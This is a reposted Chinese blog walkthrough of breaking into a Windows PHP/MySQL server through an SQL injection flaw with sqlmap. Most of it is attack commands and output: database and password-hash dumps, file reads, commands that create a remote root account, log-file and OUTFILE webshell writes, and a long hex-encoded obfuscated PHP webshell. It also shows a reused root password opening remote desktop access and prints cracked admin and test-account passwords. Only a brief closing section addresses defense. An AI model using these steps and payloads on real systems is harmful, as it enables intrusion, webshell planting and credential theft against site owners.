使用sqlmap曲折渗透某服务器

存储架构 2017-12-04 阅读原文

本文作者: Simeon

在实际 渗透测试 过程中,当发现目标站点存在SQL注入漏洞,一般都是交给sqlmap等工具来自动处理,证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号,则还可以尝试获取Webshell和提权。在一般情况下,如果发现是root账号,则90%以上机会可以获取webshell,且极有可能获得服务器权限。

本次渗透过程碰到一种特殊情况:

(1)Php网站存在SQL注入漏洞。

(2)网站使用的用户是Root账号

(3)知道web网站真实物理路径

无法写入Webshell,无法直接udf提权!尝试了sqlmap有关MySQL数据库渗透的一些技术,虽然技术上未能获取webshell,但最后结合社工,成功获取了服务器权限,对特定服务器的渗透具有借鉴意义。

1.1使用sqlmap渗透常规思路1.获取信息

通过“sqlmap -u url”命令对注入点进行漏洞确认,然后依次进行以下命令,来获取数据库信息:

(1)列数据库信息:–dbs

(2)web当前使用的数据库–current-db

(3)web数据库使用账户 –current-user

(4)列出数据库所有用户 –users

(5)数据库账户与密码 –passwords

(6)指定库名列出所有表 -D databasename–tables

(7)指定库名表名列出所有字段-D antian365 -T admin –columns

(8)指定库名表名字段dump出指定字段

-D secbang_com -T admin -C id,password ,username –dump

-D antian365 -T userb -C"email,Username,userpassword" –dump

2.有root权限的情况下可以系统访问权限尝试

–os-cmd=OSCMD//执行操作系统命令

–os-shell //反弹一个osshell

–os-pwn //pwn,反弹msf下的shell或者vnc

–os-smbrelay //反弹msf下的shell或者vnc

–os-bof //存储过程缓存溢出

–priv-esc //数据库提权

3.通过查看管理员表,来获取管理员账号和密码,对加密账号还需要进行破解。

4.寻找后台地址并登录。

5.通过后台寻找上传漏洞,或者其它漏洞来尝试获取webshell权限。

1.2使用sqlmap进行全自动获取再确认漏洞后,可以使用“sqlmap -uurl –smart –batch -a”自动进行注入,自动填写判断,获取数据库所有信息,包括dump所有数据库的内容。 切记对大数据库尤其谨慎,不能用该命令,否则会获取大量数据记录,原因您懂的。 在本例中测试了该方法,可以直接获取该SQL注入漏洞所在站点的所有数据库,获取数据不是本次讨论的主要目的。

1.3直接提权失败根据前面的介绍,直接使用“–os-cmd=whoami”命令来尝试是否可以直接执行命令,如图1所示,执行命令后,需要选择网站脚本语言,本次测试是php,所以选择“4”,在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令。

图1无法执行命令

在尝试无法直接执行命令后,后面继续测试“–os-shell”也失败的情况下,尝试去分析sqlmap的源代码,尝试能否直接加入已经获取的网站路径地址,来获取权限。通过分析代码未能找到其相关配置文件,无奈之下继续进行后面的测试。

1.4使用sqlmap获取sql-shell权限1.通过sqlmap对SQL注入点加参数“–sql-shell”命令来直接获取数据库shell:

sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 –sql-shell

执行后如图2所示,获取操作系统版本,web应用程序类型等信息:

web server operating system: Windows // 操作系统为windows

web application technology: Apache 2.2.4, PHP 5.2.0//Apache 服务器,php

back-end DBMS: MySQL 5//MySQL 数据库大于5.0 版本

图2尝试获取sql-shell

2.查询数据库密码

在sql-shell中执行数据库查询命令selecthost,user,password from mysql.user,尝试能否获取所有的数据库用户和密码,在获取信息过程需要选择获取多少信息,选择All则表示所有,其它数字则表示获取条数,一般输入“a”即可。如图3所示,成功获取当前数据库root账号和密码等信息。 如果 host 值是“% ”,则可以通过远程连接进行管理。

sql-shell>select host,user,password from mysql.user

[20:54:57][INFO] fetching SQL SELECT statement query output: 'select host,user,passwordfrom mysql.user'

selecthost,user,password from mysql.user [2]:

localhost, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

127.0.0.1, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

图3查询mysql数据库用户信息

3.尝试获取目录信息

使用查询命令“[email protected]@datadir”命令来获取数据库数据保存的位置,如图4所示,获取其数据库保存位置为“D:EmpireServerphpmysql5Data”,看到这个信息,使用百度对关键字“EmpireServer”进行搜索。获取一个EmpireServer的关键安装信息:

(1)将压缩的帝国软件放到D盘,解压到当前文件夹

(2)执行D:EmpireServer一键安装命令

(3)在web文件夹里新建自己文件夹如zb,把web中所有目录考到zb中

(4)删除/e/install/install.off文件!

(5)在浏览器中运行 http://localhost/zb/e/install/ 重新安装

(6)数据库用户名root密码为空、其余用户名、密码为admin

(7)登陆前台首页 http://localhost/zb ,登陆后台 http://localhost/zb/e/admin

(8)数据库所在路径 D:EmpireServerphpmysql5data

(9)保存网站:保存自己建立的文件夹目录,例如:D:EmpireServerwebzb的zb目录和数据库目录,例如:D:EmpireServerphpmysql5datazb的zb目录。

图4获取数据库数据保存目录

4.读取文件

通过上一步的分析,猜测网站可能使用web等关键字来做为网站目录使用,因此尝试使用:select load_file(‘D:/EmpireServer/web/index.php’)来读取index.php文件的内容,如图5所示,成功读取!在使用load_file函数进行读取文件时,一定要进行“D:EmpireServerweb”符号的转换,也即将“”换成“/”,否则无法读取,在读取文件中可以看到inc/getcon.php、inc/function.php等文件包含。

图5读取首页文件内容

(5)获取root账号密码

执行查询命令select load_file(‘ D:/EmpireServer/web/inc/getcon.php ’),如图6所示,成功获取数据库配置文件getcon.php的内容,在其配置信息中包含了root账号和密码:

root net***.com*** (

图6获取root账号及密码

1.5尝试获取webshell以及提权1.尝试能否更改数据库内容,如图7所示执行更新MySQL命令:

updatemysql.user set mysql.host='%' where mysql.user='127.0.0.1';

图7执行更新数据库表命令

经过实际测试,通过sql-shell参数可以很方便的进行查询,执行update命令没有成功,后续还进行了一系列的update命令测试,结果没有成功就放弃直接更换host为“%”的思路。也曾经想直接添加一个账号和远程授权,通过sqlmap以及手工均未成功!

CREATEUSER[email protected]'%' IDENTIFIED BY '123456';

grantall privileges on *.* to[email protected]'%' identified by "123456" with grant option;

FLUSHPRIVILEGES;

(2)尝试利用sqlmap的–os-pwn命令

使用“–os-shell”输入前面获取的真实物理路径“D:/EmpireServer/web”未能获取可以执行命令的shell,后续,执行“–os-pwn”则提示需要安装pywin32,如图8所示,在本地下载安装后,还是不成功。pywin32下载地址:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win-amd64-py2.7.exe/download

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

图8执行“–os-pwn”命令

(3)尝试利用sqlmap的sql-query命令

执行sqlmap.py -u http://**.**.**.***/newslist.php?id=2–sql-query=" select host ,user,password from mysql.user”其效果跟前面的sql-shell类似,执行update命令仍然不行。

1.6尝试写入文件1.直接sql-query写入文件

MySQL root账号提权条件:

(1)网站必须是root权限(已经满足)

(2)攻击者需要知道网站的绝对路径(已经满足)

(3)GPC为off,php主动转义的功能关闭(已经满足)

虽然条件满足,实际测试情况确实查询后无结果。

2.general_log_file获取webshell测试

(1)查看genera文件配置情况

showglobal variables like "%genera%";

(2)关闭general_log

setglobal general_log=off;

(3)通过general_log选项来获取webshell

setglobal general_log='on';

SETglobal general_log_file='D:/EmpireServer/web/cmd.php';

(4)执行查询

SELECT'';

结果仍然未获取webshell。

3.更换路径

怀疑是文件写入权限,后续访问网站获取某一个图片的地址后,更换地址后进行查询:

select'' INTO OUTFILE 'D:/EmpireServer/web/uploadfile/image/20160407/23.php';

访问webshell地址:

http://**.**.**.***/uploadfile/image/20160407/23.php

测试结果还是不行,如图9所示。

图9更换路径查询导出文件

4.使用加密webshell写入

执行加密webshell查询,查询成功,但访问实际页面不成功。

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')into dumpfile 'D:/EmpireServer/web/22.php'

1.7社工账号登录服务器1.登录远程桌面

后面灵机一动,使用root获取的账号直接登录该3389,也即社工攻击,如图10所示成功登录服务器。

图10成功登录服务器

2.发现后台地址ls1010_admin

登录服务器后,发现网站不是采用模版安装的,而是在此基础上进行二次开发,且更换了后台管理地址为“ls1010_admin”。管理员密码:51623986534b8fd8bfd88cdb8b9e2181破解后密码为wanxin170104,使用该密码成功登录后台,如图11所示。在该后台中还发现一个用户名称bcitb,密码为bcitb1010。

技巧:分享一个免费的md5查询网站: https://www.somd5.com/

图11成功登录后台

1.8总结与防御

1.本次渗透测试使用了sqlmap中所有有关mysql渗透到模块,特别是系统访问层面的,例如–os-smbrelay,该模块在kali下使用,有时候可能会有奇效,如果存在漏洞将会直接反弹一个msf的shell。

2.本次通过猜测后台基本上是无解的,可以看出网站应该是刻意更改网站后台地址,让攻击者无法轻易获取后台地址,但其后台中还存在开发人员留下的测试账号,可能导致 系统安全 隐患。

3.网站在安全方面应该进行了一些简单加固,但SQL注入漏洞的存在使这些设置基本无用。

backup

责编内容by:backup 【阅读原文】。感谢您的支持!

您可能感兴趣的

如何高效排查系统故障?一分钱引发的系统设计“踩坑”案例... 阿里妹导读:阿里巴巴的电商业务十分复杂,一方面是市场多样化,业务多样化,另外是消费者,商家的影响面非常广,任何一个小故障都可能引发一些社会问题,所以阿里对产品的...
如何写一个你自己的Web集群式渗透系统... *本文原创作者:DX安全团队—-0d9y,本文属FreeBuf原创奖励计划,未经许可禁止转载 一个功能完善可以自定义的渗透系统可以帮助你省下很多的时间来思考...
JavaEE 使用 Redis 数据库进行内容缓存和高访问负载... NoSQL(Not Only SQL),泛指非关系型数据库,是为了处理高并发读写、海量数据的高效率存储和访问、高扩展性和高可用性而产生的。 ...
Moose in Sheepish Clothing Now to get back on track to what I wanted before I made a little Boo-Boo, So in ...
Announcing new set of Azure Services in the UK We’re pleased to announce the following services which are now available in the ...